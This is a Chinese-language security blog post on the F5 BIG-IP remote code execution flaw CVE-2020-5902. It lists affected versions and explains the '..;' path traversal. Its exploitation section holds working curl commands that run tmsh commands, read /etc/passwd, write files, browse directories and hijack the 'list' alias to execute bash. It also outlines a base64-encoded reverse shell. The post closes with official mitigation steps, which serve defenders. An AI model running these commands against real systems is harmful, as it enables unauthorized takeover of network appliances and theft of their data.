F5 BIG-IP 远程代码执行(CVE-2020-5902)


官网

https://www.f5.com/

简介

F5 BIGIP 链路控制器用于最大限度提升链路性能与可用性的下一代广域网链路流量管理。漏洞编号:CVE-2020-5902。未授权的远程攻击者通过向漏洞页面发送特制的请求包,可以造成任意 Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。该漏洞影响控制面板受影响,不影响数据面板。

影响范围

  • BIG-IP 15.x: 15.1.0/15.0.0
  • BIG-IP 14.x: 14.1.0 ~ 14.1.2
  • BIG-IP 13.x: 13.1.0 ~ 13.1.3
  • BIG-IP 12.x: 12.1.0 ~ 12.1.5
  • BIG-IP 11.x: 11.6.1 ~ 11.6.5

漏洞原理

BIG-IP实现了自己的PAM认证模块:mod_f5_auth_cookie.so,在这个模块中设置了login.jsp不需要授权就可访问,由于Tomcat支持path parameters,当我们访问https://xxx/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp时会变成https://xxx/tmui/login.jsp/../tmui/locallb/workspace/tmshCmd.jsp,接着,就是根据web.xml中的配置找到该URL对应的servlet,并把请求交给这个servlet,然后在tmshCmd_jsp中执行我们传入的命令。
详细漏洞原理分析见:https://blog.csdn.net/he_and/article/details/107359777

漏洞利用

执行tmsh命令

curl -k "https://example.com/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin"

读取文件

curl -k "https://192.168.3.214/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"

写入文件

curl -k -H "Content-Type: application/x-www-form-urlencoded" -X POST -d "fileName=/tmp/success&content=CVE-2020-5902" "https://192.168.150.146/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp"
curl -k "https://192.168.3.214/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/test&content=id"


POST方式写入


执行命令

  1. 修改alias劫持list命令为bash

    curl -k "https://192.168.3.211/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp? 
    command=create+cli+alias+private+list+command+bash"

  2. 写入bash文件

  3. 执行bash文件

    curl -k "https://192.168.3.211/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/test"

  4. 还原list命令

    curl -k "https://192.168.3.211/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list"

浏览目录

curl -k "https://192.168.3.211/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/"

反弹shell

在传输过程会将斜杠转义,会将加号理解为空格,所以需要使用base64和url进行编码

  1. 将反弹shell的命令进行base64编码

  2. 然后进行url编码并写入文件

  3. 劫持list命令,然后执行bash文件


使用MSF


漏洞修复

  1. 使用以下命令登录对应系统

    tmsh
  2. 编辑 httpd 组件的配置文件

    edit /sys httpd all-properties
  3. 文件内容如下

    include '
    <LocationMatch ".*\.\.;.*">
    Redirect 404 /
    </LocationMatch>
    '
    2020年07月11日,F5官方更新了漏洞缓解措施,之前的缓解措施可以仍可被绕过。本次更新,官方更新了针对攻击者利用hsqldb利用链,通过构造恶意请求,绕过官方发布的禁止请求中包含;的漏洞缓解方案,缓解措施更新如下:编辑httpd组件的配置文件内容为:
    include '
    <LocationMatch ";">
    Redirect 404 /
    </LocationMatch>
    <LocationMatch "hsqldb">
    Redirect 404 /
    </LocationMatch>
    '
  4. 按照如下操作保存文件

    按下 ESC 并依次输入
    :wq
  5. 执行命令刷新配置文件

    save /sys config
  6. 重启 httpd 服务

    restart sys service httpd

建议同时禁止外部IP对于TMUI的访问,或只允许管理人员在安全网络环境下访问来缓解漏洞

参考文章

https://www.cnblogs.com/liliyuanshangcao/p/13285121.html#_label5_0
https://blog.csdn.net/he_and/article/details/107359777

声明:Hack All Sec的博客|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - F5 BIG-IP 远程代码执行(CVE-2020-5902)


Hacker perspective for security